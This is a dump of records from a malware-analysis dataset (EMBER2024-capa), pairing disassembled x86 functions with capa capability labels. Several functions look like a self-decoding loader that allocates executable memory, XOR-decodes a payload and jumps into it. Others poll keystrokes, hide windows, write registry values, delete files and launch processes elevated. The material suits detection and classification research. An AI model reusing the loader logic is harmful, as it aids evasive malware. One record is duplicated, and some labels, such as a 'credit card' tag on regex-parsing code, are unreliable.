joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40633c
pop dword [ebp - 0x48]
mov eax, 0xa0db3426
sub eax, 0xa09ad0ea
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x627cd6c2
add dword [ebp - 0x58], 0xebd56e89
mov dword [ebp - 0x54], 0x4499dce4
add dword [ebp - 0x54], 0xed996f61
mov dword [ebp - 0x50], 0x6f78ac1a
add dword [ebp - 0x50], 0xdcd39814
mov dword [ebp - 0x4c], 0x9b7f1e4e
sub dword [ebp - 0x4c], 0x9b7f1e4e
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x56ea8fa1
add dword [ebp - 0x58], 0x1d87d9b5
mov dword [ebp - 0x54], 0x5e529eb
add dword [ebp - 0x54], 0x3b87378a
mov dword [ebp - 0x50], 0x2418a6af
sub dword [ebp - 0x50], 0xc0a93a43
mov dword [ebp - 0x4c], 0x677d582c
sub dword [ebp - 0x4c], 0x677d582c
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x40549
push 0
call eax
mov ecx, 0x6ed9
mov edx, eax
mov edi, 0x410000
add edi, dword [ebp - 0x48]
mov esi, 0x7b179741
sub esi, 0x3c25e3a2
xor dword [ebp - 0x18], 0x84e7f8b2
mov ebx, dword [edi]
xor dword [ebp - 0x2c], 0x37dacb3
xor ebx, esi
mov dword [ebp - 0x24], 0xe513cb5e
mov dword [edx], ebx
sub dword [ebp - 0x34], ecx
add edx, 4
add edi, 0xf3a6a0db
sub edi, 0xf3a6a0d7
loop 0x406448
add eax, 0x39236aa2
add eax, 0xc6de4395
xor ebx, ebx
add ebx, eax
add eax, 0x255c74fc
add eax, 0xdaa38b09
mov ecx, 0xf6dadb3a
sub ecx, 0xf69adb3a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x1003292f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10023bc9
call fcn.10022973
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x41c], eax
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x418], eax
push 0x60
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x100329a4
push 2
mov ecx, esi
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x100329a4
call fcn.10031dc9
mov esi, eax
jmp 0x10032a78
push dword [ebp - 0x41c]
push ebx
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x100329c2
call fcn.10031dc9
jmp 0x10032a6b
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x41c], ebx
test ebx, ebx
je 0x100329b8
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x424], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x100329f4
mov esi, 0x8007000e
jmp 0x10032a6d
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1004b840
jmp 0x10032a1e
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x100329ed
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x100329b8
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.1004b840
mov esi, eax
test edi, edi
je 0x10032a78
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10032a91
lea ecx, [ebp - 0x418]
call fcn.10032083
lea ecx, [ebp - 0x428]
call fcn.1003150e
mov eax, esi
call fcn.10022963
ret 0x10
Function at 0x1004807d
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x100481de
push 0x29
pop edi
mov edx, 0x10000000
cmp eax, 0x7c
je 0x100481de
cmp eax, edi
jne 0x100480be
cmp dword [esi + 0x10], 0
mov eax, edi
jne 0x100481de
cmp eax, edi
jne 0x100480be
test dword [esi + 0x50], edx
je 0x100481e4
cmp eax, 0x2e
jne 0x100480d9
push 5
lea ecx, [esi + 0x24]
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
jmp 0x100481c9
cmp eax, 0x5c
jne 0x1004812e
mov ecx, esi
call fcn.10049c8b
test byte [esi + 0x50], 0x80
je 0x10048122
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x1004810a
push 4
lea ecx, [esi + 0x24]
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
jmp 0x100481d0
cmp eax, 0x42
jne 0x10048122
push 4
lea ecx, [esi + 0x24]
call fcn.1004b840
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x100480fe
mov ecx, esi
call fcn.1004b840
jmp 0x100481c9
cmp eax, 0x5b
jne 0x1004814e
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004877d
push 4
push 0x5d
mov ecx, esi
call fcn.1004b840
jmp 0x100481c9
cmp eax, 0x28
jne 0x1004816f
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004a1aa
push 5
push edi
mov ecx, esi
mov bl, al
call fcn.1004b840
jmp 0x100481c5
cmp eax, 0x5e
jne 0x1004817b
push 2
jmp 0x100480f6
cmp eax, 0x24
jne 0x10048187
push 3
jmp 0x100480f6
cmp eax, 0x2a
je 0x100481f4
cmp eax, 0x2b
je 0x100481f4
cmp eax, 0x3f
je 0x100481f4
cmp eax, 0x7b
je 0x100481f4
cmp eax, 0x7d
jne 0x100481a5
test dword [esi + 0x50], edx
je 0x100481ec
cmp eax, 0x5d
jne 0x100481af
test dword [esi + 0x50], edx
je 0x100481f0
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
mov bl, 1
test bl, bl
je 0x100481d0
mov ecx, esi
call fcn.1004b840
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x10048093
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_]
push 6
jmp 0x100481e6
push 4
jmp 0x100481e6
push 0xa
jmp 0x100481e6
Function at 0x1004807e
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x100481de
push 0x29
pop edi
mov edx, 0x10000000
cmp eax, 0x7c
je 0x100481de
cmp eax, edi
jne 0x100480be
cmp dword [esi + 0x10], 0
mov eax, edi
jne 0x100481de
cmp eax, edi
jne 0x100480be
test dword [esi + 0x50], edx
je 0x100481e4
cmp eax, 0x2e
jne 0x100480d9
push 5
lea ecx, [esi + 0x24]
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
jmp 0x100481c9
cmp eax, 0x5c
jne 0x1004812e
mov ecx, esi
call fcn.10049c8b
test byte [esi + 0x50], 0x80
je 0x10048122
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x1004810a
push 4
lea ecx, [esi + 0x24]
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
jmp 0x100481d0
cmp eax, 0x42
jne 0x10048122
push 4
lea ecx, [esi + 0x24]
call fcn.1004b840
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x100480fe
mov ecx, esi
call fcn.1004b840
jmp 0x100481c9
cmp eax, 0x5b
jne 0x1004814e
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004877d
push 4
push 0x5d
mov ecx, esi
call fcn.1004b840
jmp 0x100481c9
cmp eax, 0x28
jne 0x1004816f
mov ecx, esi
call fcn.10049c8b
mov ecx, esi
call fcn.1004a1aa
push 5
push edi
mov ecx, esi
mov bl, al
call fcn.1004b840
jmp 0x100481c5
cmp eax, 0x5e
jne 0x1004817b
push 2
jmp 0x100480f6
cmp eax, 0x24
jne 0x10048187
push 3
jmp 0x100480f6
cmp eax, 0x2a
je 0x100481f4
cmp eax, 0x2b
je 0x100481f4
cmp eax, 0x3f
je 0x100481f4
cmp eax, 0x7b
je 0x100481f4
cmp eax, 0x7d
jne 0x100481a5
test dword [esi + 0x50], edx
je 0x100481ec
cmp eax, 0x5d
jne 0x100481af
test dword [esi + 0x50], edx
je 0x100481f0
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.1004b840
mov ecx, esi
call fcn.10049c8b
mov bl, 1
test bl, bl
je 0x100481d0
mov ecx, esi
call fcn.1004b840
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x10048093
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xregex_error_enum_std::regex_constants::error_type_]
push 6
jmp 0x100481e6
push 4
jmp 0x100481e6
push 0xa
jmp 0x100481e6
Function at 0x1004b840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1004b84f
pop dword [ebp - 0x1c]
mov eax, 0x7f039bbc
add eax, 0x91011c93
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x88fd06cf
add dword [ebp - 0x2c], 0xc5553e7c
mov dword [ebp - 0x28], 0x7260e66
sub dword [ebp - 0x28], 0xd4f2c221
mov dword [ebp - 0x24], 0x60b79e8d
add dword [ebp - 0x24], 0xeb94a5a1
mov dword [ebp - 0x20], 0x7852411
add dword [ebp - 0x20], 0xf87adbef
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x9d9c7f4d
sub dword [ebp - 0x2c], 0x292a15f7
mov dword [ebp - 0x28], 0x2d619547
add dword [ebp - 0x28], 0x140acc2e
mov dword [ebp - 0x24], 0xd7b40ae5
sub dword [ebp - 0x24], 0x74449e79
mov dword [ebp - 0x20], 0x28d4f5a6
add dword [ebp - 0x20], 0xd72b0a5a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x9d31a175
add eax, 0x72d6eec7
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x615b1
push 0
call eax
mov ecx, 0x87a6cf4b
add ecx, 0x785973fd
xor edi, edi
add edi, eax
mov esi, 0x100b6400
add esi, dword [ebp - 0x1c]
mov ebx, 0xc4f4bf8b
sub ebx, 0x8f59aa3c
mov edx, dword [esi]
xor dword [ebp - 4], 0xe64f8c52
xor edx, ebx
xor dword [ebp - 0x18], esi
mov dword [edi], edx
xor dword [ebp - 0x10], esi
add edi, 0x8809cbfd
add edi, 0x77f63407
add esi, 4
loop 0x1004b968
add eax, 0xffed30f2
add eax, 0x13cf01
mov ebx, eax
add eax, 5
mov ecx, 0x3ce7084f
add ecx, 0xd318f7b1
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x6d7e2d5d
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d7e2dab
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d7e2dbc
push 0xd
pop eax
jmp 0x6d7e2de6
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d7e2dbf
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d7e32a5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d7eaed2
mov ebx, eax
cmp ebx, esi
je 0x6d7e3318
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d7e3330
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d7e32a5
cmp eax, esi
jne 0x6d7e3362
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x6d7e3320
lea ecx, [ebp - 0x74]
call fcn.6d7e2c8b
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d7e2c1c
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d7e2c8b
mov eax, esi
jmp 0x6d7e32fe
Function at 0x6d7e9903
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d7e990d
lea esi, [ecx - 0x80]
jmp 0x6d7e990f
xor esi, esi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x58]
test esi, esi
je 0x6d7e992b
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x6d7ea967
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d7ea97b
add eax, 0xffffff7c
jmp 0x6d7ea97d
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d7fd3c4
lea ecx, [eax + 0xc]
call fcn.6d7e95ec
test eax, eax
js 0x6d7ea9e6
cmp dword [ebp + 8], 0
je 0x6d7ea9e3
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d7ea9bb
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d7ea9c7
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d7ea9d3
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d7ea9e6
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d7ea9fc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x6d7eaed2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x6d7eaee1
pop dword [ebp - 0x2c]
mov eax, 0x9ea2f7de
sub eax, 0x312448fd
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3ba6c
push 0
mov eax, 0xa73cb578
add eax, 0xc6430bf8
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xfa42355a
sub ecx, 0xfa41e1d1
mov ebx, eax
mov esi, 0x6d834200
add esi, dword [ebp - 0x2c]
mov edi, 0x1847ff4e
add edi, 0x91118d08
sub dword [ebp - 0x24], 0x1769e33b
mov edx, dword [esi]
add dword [ebp - 0xc], 0xc12bf31
sub edx, edi
xor dword [ebp - 0x14], 0x9f4f6da7
mov dword [ebx], edx
sub dword [ebp - 4], 0x51dc399c
add ebx, 0x8c4d327
add ebx, 0xf73b2cdd
add esi, 0x7b5aaceb
sub esi, 0x7b5aace7
loop 0x6d7eaf3a
add eax, 0xbb7947ab
add eax, 0x4487f94c
xor ebx, ebx
add ebx, eax
add eax, 0xed9bfc56
sub eax, 0xed9bfc51
mov ecx, 0x6d7e0000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x6d7eebb4
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8f4]
sub esp, 0x974
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x8f0], eax
mov eax, dword [ebp + 0x8fc]
push ebx
push esi
mov esi, 0x400
push esi
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call fcn.6d7eaed2
add esp, 0x10
test eax, eax
je 0x6d7eed0f
lea eax, [ebp - 0x14]
push eax
push str._s_ssvagent.exe
lea eax, [ebp + 0x3ec]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x3ec]
push eax
call dword [sym.imp.MSVCR100.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x6d7eed0f
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
xor ebx, ebx
push edi
mov byte [ebp + 0x7ec], bl
mov edi, 0x104
lea eax, [ebp + 0x7ec]
cmp dword [ebp + 0x900], ebx
je 0x6d7eec50
push str.__new
jmp 0x6d7eec55
push str.__old
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x904], ebx
je 0x6d7eec76
push str.__high
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
cmp dword [ebp + 0x90c], ebx
je 0x6d7eec90
push str.__settreatas
lea eax, [ebp + 0x7ec]
push edi
push eax
call esi
add esp, 0xc
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp + 0x7ec]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], eax
pop edi
cmp dword [ebp + 0x904], ebx
je 0x6d7eecc6
call fcn.6d7eaed2
test eax, eax
je 0x6d7eecc6
mov dword [ebp - 0x74], str.runas
cmp dword [ebp + 0x908], ebx
je 0x6d7eecd5
mov dword [ebp - 0x7c], 0x40
lea eax, [ebp + 0x3ec]
mov dword [ebp - 0x70], eax
xor esi, esi
lea eax, [ebp - 0x80]
inc esi
push eax
mov dword [ebp - 0x64], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x6d7eed0f
cmp dword [ebp - 0x48], ebx
je 0x6d7eed0b
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
jmp 0x6d7eed11
xor eax, eax
mov ecx, dword [ebp + 0x8f0]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x8f4
leave
ret
Function at 0x6d7eee2b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
push esi
xor ebx, ebx
push 0x3ff
lea eax, [ebp + 0x389]
push ebx
push eax
mov esi, ecx
mov byte [ebp + 0x388], bl
call sub.MSVCR100.dll_memset
push esi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov esi, 0x400
lea eax, [ebp + 0x388]
push esi
push eax
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
lea eax, [ebp + 0x388]
push ebx
push eax
cmp dword [ebp + 0x794], ebx
jne 0x6d7eeeac
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x6d7eeeb3
xor eax, eax
jmp 0x6d7eeef4
push SysReAllocString
jmp 0x6d7eee9e
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x6d7fdd8e
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x6d7eeedb
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x6d7eeea8
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push edi
call dword [sym.imp.MSVCR100.dll__mbscmp]
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x78c
leave
ret

Function at 0x6d7eef0b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8d0]
sub esp, 0x950
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0x8cc], eax
mov eax, dword [ebp + 0x8d8]
push ebx
push esi
push edi
push 0x3ff
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x4cd]
push 0
push eax
mov byte [ebp + 0x4cc], 0
call sub.MSVCR100.dll_memset
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
add esp, 0xc
and dword [ebp - 0x78], 0
mov ebx, 0x6d808378
mov edi, 0x400
cmp dword [ebp - 0x78], 0
jne 0x6d7ef025
push dword [ebp - 0x80]
lea eax, [ebp + 0xcc]
push edi
push eax
mov byte [ebp + 0xcc], 0
call esi
push 0x6d7fe270
lea eax, [ebp + 0xcc]
push edi
push eax
call esi
push dword [ebx]
lea eax, [ebp + 0xcc]
push edi
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0xcc]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x6d7ef016
push dword [ebp - 0x80]
lea eax, [ebp + 0x4cc]
push edi
push eax
mov byte [ebp + 0x4cc], 0
call esi
push 0x6d7fe274
lea eax, [ebp + 0x4cc]
push edi
push eax
call esi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp + 0x4cc]
push edi
push eax
call esi
lea eax, [ebp + 0x4cc]
push eax
call fcn.6d7f85a9
add esp, 0x28
test eax, eax
je 0x6d7ef00f
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x6d7eefb8
jmp 0x6d7ef016
mov dword [ebp - 0x78], 1
add ebx, 4
cmp ebx, 0x6d808384
jl 0x6d7eef63
push dword [ebp - 0x7c]
call dword [sym.imp.kernel32.dll_FindClose]
mov ecx, dword [ebp + 0x8cc]
mov eax, dword [ebp - 0x78]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0x8d0
leave
ret
Function at 0x6d7ef049
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x944]
sub esp, 0x944
push 0xfffffffffffffffe
push 0x6d8039e8
push 0x6d7f9877
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x6d808560]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x940], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x94c]
mov dword [ebp - 0x28], eax
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov byte [ebp + 0x540], bl
push 0x3ff
push ebx
lea eax, [ebp + 0x541]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov edi, 0x400
mov esi, dword [sym.imp.MSVCR100.dll_strcat_s]
cmp dword [ebp - 0x20], 3
jge 0x6d7ef1f1
mov byte [ebp + 0x140], 0
push dword [ebp - 0x28]
push edi
lea eax, [ebp + 0x140]
push eax
call esi
push 0x6d7fe278
push edi
lea eax, [ebp + 0x140]
push eax
call esi
mov eax, dword [ebp - 0x20]
push dword [eax*4 + 0x6d808378]
push edi
lea eax, [ebp + 0x140]
push eax
call esi
add esp, 0x24
lea eax, [ebp]
push eax
lea eax, [ebp + 0x140]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x2c], eax
cmp eax, 0xffffffff
je 0x6d7ef1c6
mov byte [ebp + 0x540], 0
push dword [ebp - 0x28]
push edi
lea eax, [ebp + 0x540]
push eax
call esi
push 0x6d7fe27c
push edi
lea eax, [ebp + 0x540]
push eax
call esi
lea eax, [ebp + 0x2c]
push eax
push edi
lea eax, [ebp + 0x540]
push eax
call esi
lea eax, [ebp + 0x540]
push eax
call fcn.6d7f85a9
add esp, 0x28
test eax, eax
jne 0x6d7ef1b1
push 0x404
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x6d7ef192
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x6d808560
call sub.MSVCR100.dll__local_unwind4
add esp, 0xc
xor eax, eax
jmp 0x6d7ef200
mov byte [eax], 0
lea ecx, [ebp + 0x540]
push ecx
push edi
push eax
call esi
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x400], ebx
mov ebx, eax
mov dword [ebp - 0x24], ebx
lea eax, [ebp]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x6d7ef125
test ebx, ebx
je 0x6d7ef1e9
push ebx
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [ebx + 0x400]
mov dword [ebp - 0x1c], eax
push ebx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
pop ecx
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ebx
jmp 0x6d7ef1c6
inc dword [ebp - 0x20]
jmp 0x6d7ef0c4
mov dword [ebp - 4], 0xfffffffe
call fcn.6d7ef226
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x940]
xor ecx, ebp
call fcn.6d7f98d8
add ebp, 0x944
leave
ret
Function at 0x6d7ef279
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xb94]
sub esp, 0xc14
mov eax, dword [0x6d808560]
xor eax, ebp
mov dword [ebp + 0xb90], eax
mov eax, dword [ebp + 0xb9c]
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCR100.dll_sprintf_s]
push eax
push 0x6d7fe2b8
push 0x6d7fe2e4
mov esi, 0x400
lea eax, [ebp - 0x70]
push esi
xor ebx, ebx
push eax
mov dword [ebp - 0x7c], ebx
call edi
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x70]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d7ef3a9
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x390]
push eax
push ebx
push ebx
push 0x6d7fe2ec
push dword [ebp - 0x78]
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x74], ebx
jne 0x6d7ef3a9
push str.binjava.exe
lea eax, [ebp + 0x390]
push eax
push 0x6d7fe308
lea eax, [ebp + 0x790]
push esi
push eax
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x14
lea eax, [ebp + 0x790]
push eax
call ebx
test eax, eax
je 0x6d7ef3a9
push str.binclientjvm.dll
lea eax, [ebp + 0x390]
push eax
push 0x6d7fe324
lea eax, [ebp + 0x790]
push esi
push eax
call edi
add esp, 0x14
lea eax, [ebp + 0x790]
push eax
call ebx
mov dword [ebp - 0x74], eax
push str.bin_serverjvm.dll
lea eax, [ebp + 0x390]
push eax
push 0x6d7fe340
lea eax, [ebp + 0x790]
push esi
push eax
call edi
add esp, 0x14
